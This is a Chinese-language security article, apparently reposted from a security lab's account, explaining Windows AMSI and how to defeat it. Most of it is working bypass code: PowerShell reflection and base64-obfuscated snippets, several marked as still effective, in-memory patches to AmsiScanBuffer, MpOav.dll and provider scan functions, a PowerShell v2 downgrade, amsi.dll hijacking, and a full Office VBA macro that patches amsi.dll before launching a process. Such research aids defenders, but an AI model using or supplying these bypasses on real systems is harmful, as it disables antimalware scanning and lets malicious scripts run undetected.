0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線(xiàn)課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

什么是AMSI?AMSI繞過(guò)原理與實(shí)踐

蛇矛實(shí)驗(yàn)室 ? 來(lái)源:蛇矛實(shí)驗(yàn)室 ? 2023-02-24 10:42 ? 次閱讀

1.什么是AMSI

AMSI全稱(chēng)(Antimalware Scan Interface),反惡意軟件掃描接口

反惡意軟件掃描接口是允許應(yīng)用程序與反惡意軟件產(chǎn)品集成的標(biāo)準(zhǔn)

例如,在可編寫(xiě)腳本的應(yīng)用程序中,當(dāng)腳本準(zhǔn)備好提供給腳本引擎時(shí),應(yīng)用程序可以調(diào)用Windows AMSI API,請(qǐng)求在執(zhí)行之前掃描內(nèi)容。

AMSI有效的原因是,無(wú)論代碼經(jīng)過(guò)多么復(fù)雜的模糊處理和混淆,當(dāng)腳本需要在腳本宿主中運(yùn)行時(shí),都必須是明文未經(jīng)混淆的代碼形式執(zhí)行。比如powershell代碼,無(wú)論經(jīng)過(guò)多復(fù)雜的模糊處理或者編碼(比如Base64),但是當(dāng)需要執(zhí)行powershell代碼是必須要解碼之后符合powershell代碼規(guī)范才能執(zhí)行。

2.AMSI架構(gòu)

任何應(yīng)用程序(消費(fèi)者)都可以請(qǐng)求掃描內(nèi)容

任何安全供應(yīng)商(供應(yīng)商)都可以注冊(cè)以接收掃描請(qǐng)求

操作系統(tǒng)是中介程序amsi.dll,必須由任何受amsi保護(hù)的應(yīng)用程序?qū)?/p>

e35ec6be-b37c-11ed-bfe3-dac502259ad0.png

3.受AMSI影響的產(chǎn)品

PowerShell (>2.0)

JavaScript

VBScript

VBA (office macro)

WMI

User Account Control (UAC)elevations

Excel 4.0 macros

Volume shadow copy operations

.NET in-memory assembly loads

4.AMSI函數(shù)

語(yǔ)法參數(shù)等詳細(xì)信息可以查看微軟官方文檔

函數(shù)名 作用
AmsiCloseSession 關(guān)閉由 AmsiOpenSession 打開(kāi)的會(huì)話(huà)。
AmsiInitialize 初始化 AMSI API。
AmsiNotifyOperation 向反惡意軟件提供程序發(fā)送任意操作的通知。
AmsiOpenSession 打開(kāi)可在其中關(guān)聯(lián)多個(gè)掃描請(qǐng)求的會(huì)話(huà)。
AmsiResultIsMalware 確定掃描結(jié)果是否指示應(yīng)阻止內(nèi)容。
AmsiScanBuffer 掃描緩沖區(qū)中的內(nèi)容中尋找惡意軟件。
AmsiScanString 掃描字符串中的惡意軟件。
AmsiUninitialize 刪除 AmsiInitialize最初打開(kāi)的 AMSI API 實(shí)例。

5.禁用AMSI

斷開(kāi)AMSI鏈條中的任何一個(gè)環(huán)節(jié)

e3bba032-b37c-11ed-bfe3-dac502259ad0.png

5.1.應(yīng)用程序側(cè)的Unhook

各種應(yīng)用程序是通過(guò)AMSI這個(gè)接口被檢測(cè)的,可以通過(guò)斷開(kāi)某個(gè)應(yīng)用程序(比如powershell)到AMSI的路線(xiàn)來(lái)使這個(gè)應(yīng)用程序(比如powershell)不被AMSI掃描,從而繞過(guò)AMSI。

取決于受AMSI保護(hù)的應(yīng)用程序如何使用AMSI,了解應(yīng)用程序的工作原理,使其在不調(diào)用AmsiScanBuffer的情況下執(zhí)行代碼。

e3f20870-b37c-11ed-bfe3-dac502259ad0.png

5.1.1使用反射

首先了解powershell是如何調(diào)用AMSI的

e40a96f6-b37c-11ed-bfe3-dac502259ad0.png

powershell可以通過(guò)反射破壞Amsi的初始化相關(guān)對(duì)象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,從而不對(duì)當(dāng)前進(jìn)程進(jìn)行掃描。

(這是2016年提出的概念腳本,現(xiàn)在AMSI會(huì)識(shí)別并攔截了)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null);

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)

改變上面的第一個(gè)腳本,使用base64繞過(guò)(此腳本也已經(jīng)失效)

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

再次修改腳本,全部使用base64繞過(guò)(目前可用)

function b64decode {
param ($encoded)
$decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
return$decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

最終繞過(guò)AMSI效果如下:

e42c0dd6-b37c-11ed-bfe3-dac502259ad0.png

(同樣有效的腳本)

$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static')
$field.SetValue($null,$true)

5.2.patch AMSI.DLL代碼

AMSI的一個(gè)主要組件被實(shí)現(xiàn)為DLL,該DLL被加載到每個(gè)受AMSI保護(hù)的進(jìn)程中,此DLL充當(dāng)托管PowerShell代碼和COM反惡意軟件提供程序之間的連接器。因此通過(guò)修補(bǔ)AMSI.DLL的代碼數(shù)據(jù)部分,攻擊者可以破壞AMSI鏈。

5.2.1patch AmsiScanBuffer函數(shù)

AmsiScanBuffer()函數(shù)掃描充滿(mǎn)惡意軟件內(nèi)容的緩沖區(qū),攻擊者可以修補(bǔ)AmsiScanBuffer的任何部分(或其調(diào)用的其他代碼片段),并根據(jù)其意愿使其返回AMSI_RESULT值。

e443b684-b37c-11ed-bfe3-dac502259ad0.png

(下面示例代碼目前可用)

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

為什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?

這是因?yàn)樵?4位下HRESULT:0x80070057 (E_INVALIDARG)的字節(jié)碼是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表傳入的參數(shù)之一無(wú)效。當(dāng)AmsiScanBuffer因?yàn)閰?shù)錯(cuò)誤而導(dǎo)致返回代碼是E_INVALIDARG時(shí),實(shí)際掃描結(jié)果為0即AMSI_RESULT_CLEAN。

5.2.2patch AMSI Context 結(jié)構(gòu)體

AMSI Context 結(jié)構(gòu)體在AmsiInitialize例程期間初始化,存儲(chǔ)在AMSI保護(hù)的進(jìn)程內(nèi)存中,可以通過(guò)搜索“AMSI”簽名在內(nèi)存中找到AMSI Context 結(jié)構(gòu)體或找到指向它的全局指針,覆蓋此結(jié)構(gòu)將導(dǎo)致AmsiScanBuffer失效。

5.3.COM Server劫持

AMSI提供程序通過(guò)在HKLMSoftwareClassesCLSID中創(chuàng)建CLSID條目并在HKLMSSoftwareMicrosoftAMSIproviders中注冊(cè)相同的CLSID來(lái)注冊(cè)自己。當(dāng)AMSI在主機(jī)進(jìn)程中初始化時(shí),它將枚舉Providers注冊(cè)表項(xiàng)中列出的每個(gè)CLSID,并通過(guò)導(dǎo)入InProcServer32子項(xiàng)中的DLL來(lái)初始化COM對(duì)象。

e461b378-b37c-11ed-bfe3-dac502259ad0.png

IAntimalwareProvider是構(gòu)成AMSI主要關(guān)鍵的接口。想要提供反惡意軟件服務(wù)的每個(gè)AMSI提供程序都需要實(shí)現(xiàn)lAntimalwareProvider COM接口。

劫持AMSI提供程序COM服務(wù)器可能導(dǎo)致繞過(guò)AMSI,而且可通過(guò)注冊(cè)表監(jiān)控輕松檢測(cè)。

e4973f34-b37c-11ed-bfe3-dac502259ad0.png

5.4.patch AMSI提供程序

這種方法將導(dǎo)致AMSI初始化過(guò)程失敗,從而破壞AMSI鏈。通過(guò)修補(bǔ)amsi.dll區(qū)域外的非受監(jiān)控內(nèi)存來(lái)完成

為了理解它,讓我們深入到AMSI內(nèi)部

e4cfb4ea-b37c-11ed-bfe3-dac502259ad0.png

AMSI Initialization

任何想要使用AMSI服務(wù)的提供商都必須調(diào)用Amsilnitialize函數(shù),用信息填充HAMSICONTEXT。下面是簡(jiǎn)化的代碼

e4f42bae-b37c-11ed-bfe3-dac502259ad0.png

我們會(huì)破壞一些不太直觀的東西來(lái)保護(hù)提供程序本身,修補(bǔ)提供程序的DLL中DllGetClassObject函數(shù)的序言字節(jié),并干擾AMSI的初始化過(guò)程。

AmsiUninitialize

每個(gè)使用AMSI的應(yīng)用程序都有一個(gè)代碼,用于取消初始化AMSI,那就是AmsiUninitialize函數(shù)。在PowerShell中,我們可以使用反射來(lái)調(diào)用此代碼。在AmsiUtils類(lèi)中聲明一個(gè)名為Uninitialize()的函數(shù),為我們?nèi)∠跏蓟疉MSI。

5.4.1Patch Microsoft MpOav.dll

基于此原理可以得到一個(gè)bypass腳本,下面是一個(gè)示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通過(guò)適當(dāng)?shù)牟樵?xún)注冊(cè)表項(xiàng)來(lái)查找所有提供程序的DLL。

(下面示例代碼目前仍然有效)

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $APIs
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) 
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

$object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.2替換Add-Type Patch Microsoft MpOav.dll

Add-Type會(huì)將代碼寫(xiě)入磁盤(pán)上的臨時(shí)文件,然后使用csc.exe 將此代碼編譯為二進(jìn)制文件,落地到磁盤(pán)上可能導(dǎo)致AV檢測(cè)

解決方案:反射

(下面的示例代碼是使用反射來(lái)代替Add-Type)

functionGet-ProcAddress{
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
functionGet-DelegateType
{
Param
(
[OutputType([Type])]

[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1)]
[Type]
$ReturnType = [Void]
)

$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr,
$LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr,
$GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr,
$VirtualProtectDelegate)

$hModule = $LoadLibrary.Invoke("MpOav.dll")
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule,
"DllGetClassObject")
$p = 0
$VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) 
$ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.3掃描攔截

我們可以攔截AMSIs掃描過(guò)程而不是初始化(如經(jīng)典AmsiScanBuffer patch代碼,可以不需要接觸amsi.dl就可以完成)

AmsiScanBuffer為每個(gè)注冊(cè)的AMSI提供程序調(diào)用IAntimalwareProvider::Scan() 如果提供程序返回的結(jié)果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,則掃描將停止并返回結(jié)果,而不調(diào)用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。

所以需要找到提供商的掃描函數(shù)

調(diào)用AmsiInitialize將為我們生成一個(gè)新的HAMSICONTEXT,然后將它指向提供程序DLL中的相同掃描函數(shù),我們可以修補(bǔ)每個(gè)提供商的 scan函數(shù),所以它將返回而不填寫(xiě)AMSI_RESULT(將保持AMSI_RESULT_CLEAN)。

(下面的示例代碼目前仍然可用)

$Apis = @"
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"@
Add-Type $Apis

$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0

[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)

# Loop through all the providers
while($AntimalwareProvider -ne 0)
{
# Find the provider's Scan function
$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)

# Patch the Scan function
Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc
[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)

$i++
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR))
}

5.5 更多AMSI bypass技術(shù)

5.5.1 使用PowerShell版本2

切換powershell版本:powershell -version 2

e52c9b9c-b37c-11ed-bfe3-dac502259ad0.png

在腳本中:在腳本開(kāi)頭加入#requires -version 2

這樣如果可以使用2.0,腳本會(huì)以2.0執(zhí)行,如果不能,會(huì)按照當(dāng)前powershell版 本執(zhí)行

5.5.3 amsi.dll劫持

LoadLibrary函數(shù)導(dǎo)入dll的時(shí)候沒(méi)有使用絕對(duì)路徑,因此程序會(huì)首先在當(dāng)前目錄下尋找dll,因此可以在 powershell.exe同目錄下(C:WindowsSystem32WindowsPowerShellv1.0)放一個(gè)偽造amsi.dll,就可以實(shí)現(xiàn)DLL劫持,而不會(huì)調(diào)用系統(tǒng)的amsi.dll(C:WindowsSystem32asmi.dll)

dll導(dǎo)入優(yōu)先級(jí)如下:

進(jìn)程對(duì)應(yīng)的應(yīng)用程序所在目錄
系統(tǒng)目錄(通過(guò) GetSystemDirectory 獲?。?16位系統(tǒng)目錄
Windows目錄(通過(guò) GetWindowsDirectory 獲?。?當(dāng)前目錄
PATH環(huán)境變量中的各個(gè)目錄

5.5.4 宏代碼繞過(guò)AMSI

詳細(xì)說(shuō)明可查閱:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/

Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong
PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte)
DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong)
PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong
PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong
PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong
PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong
PrivateTypePROCESS_INFORMATION
hProcess AsLong
hThread AsLong
dwProcessId AsLong
dwThreadId AsLong
EndType

PrivateTypeSTARTUPINFO
cb AsLong
lpReserved AsString
lpDesktop AsString
lpTitle AsString
dwX AsLong
dwY AsLong
dwXSize AsLong
dwYSize AsLong
dwXCountChars AsLong
dwYCountChars AsLong
dwFillAttribute AsLong
dwFlags AsLong
wShowWindow AsInteger
cbReserved2 AsInteger
lpReserved2 AsLong
hStdInput AsLong
hStdOutput AsLong
hStdError AsLong
EndType

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

FunctionLoadDll(dll AsString, func AsString) AsLongPtr

Dim AmsiDLL AsLongPtr

AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)

EndFunction

FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString

Dim LeakedBytesBuffer AsString
Dim LeakedByte AsLongPtr
Dim TraverseStartAddr AsLongPtr

OnErrorResumeNext

TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset

Dim i AsInteger
Fori = 0ToTraverseOffset
Peek LeakedByte, ByVal (TraverseStartAddr + i), 1

IfLeakedByte < 16?Then
????????FixedByteString = "0"?& Hex(LeakedByte)
????????LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
????Else
????????LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
????End?If
Next?i
?
GetBuffer = LeakedBytesBuffer
?
End?Function
?
Function?FindPatchOffset(LeakedAmsiDllAddr As?LongPtr, TraverseOffset As?Integer, InstructionInStringOffset As?Integer) As?LongPtr
?
Dim memOffset As?Integer
?
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
?
End?Function
?
Sub x64_office()
?
Dim LeakedAmsiDllAddr As?LongPtr
?
Dim ScanBufferMagicBytes As?String
Dim ScanStringMagicBytes As?String
Dim LeakedBytesBuffer As?String
Dim AmsiScanBufferPatchAddr As?LongPtr
Dim AmsiScanStringPatchAddr As?LongPtr
Dim TrvOffset As?Integer
?
Dim InstructionInStringOffset As?Integer
Dim Success?As?Integer
?
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success?= 0
?
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
?
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If?InstructionInStringOffset = 0?Then
????' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
????Success = Success + 1
End If
?
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
????' MsgBox "We didn't find the scanstring magicbytes :/"
Else
????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
????Success = Success + 1
End If
?
If Success = 2 Then
????Call CallMe
End If
?
End Sub
?
Sub x32_office()
?
Dim LeakedAmsiDllAddr As LongPtr
?
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
?
Dim InstructionInStringOffset As Integer
Dim Success As Integer
?
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
?
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
?
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
????'?MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Debug.Print Hex(AmsiScanBufferPatchAddr)
?
????Result?= VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H"?& "90")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H"?& "31")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H"?& "C0")
????Success?= Success?+ 1
End?If
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If?InstructionInStringOffset = 0?Then
????' MsgBox "We didn't find the scanstring magicbytes :/"
Else
????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Debug.Print Hex(AmsiScanStringPatchAddr)
?
????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2")
????Success = Success + 1
End If
?
If Success = 2 Then
????Call CallMe
End If
?
End Sub
?
Sub TestOfficeVersion()
?
#If Win64 Then
????Call x64_office
#ElseIf Win32 Then
????Call x32_office
#End If
?
End Sub
?
Sub CallMe()
?????
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
?
lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
?
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
?
End Sub

6. 總結(jié)

powershell繞過(guò)方法不適合mimikatz,可以執(zhí)行powershell版的mimikatz,但是會(huì)被殺毒軟件(defender等)查殺。

e5410582-b37c-11ed-bfe3-dac502259ad0.png

由于AMSI.DLL和提供程序的DLL加載到潛在攻擊者所在的相同內(nèi)存空間,因此破壞操作更容易。

AMSI提供程序的內(nèi)存以及AMSI.dll內(nèi)存空間應(yīng)受到保護(hù)

AMSI的Un-initialization可能會(huì)讓我們找到通過(guò)干擾AMSI初始化過(guò)程來(lái)禁用AMSI的新方法,一種不同于當(dāng)前干擾AMSI掃描過(guò)程的技術(shù)。






審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • dll
    dll
    +關(guān)注

    關(guān)注

    0

    文章

    115

    瀏覽量

    45308
  • VBA
    VBA
    +關(guān)注

    關(guān)注

    0

    文章

    17

    瀏覽量

    11887
  • Com
    Com
    +關(guān)注

    關(guān)注

    1

    文章

    107

    瀏覽量

    40568
  • uac
    uac
    +關(guān)注

    關(guān)注

    0

    文章

    9

    瀏覽量

    4098

原文標(biāo)題:AMSI繞過(guò)原理與實(shí)踐

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    CYW4373減小固件大小并繞過(guò)固件下載之后,WIFI無(wú)法啟動(dòng)怎么解決?

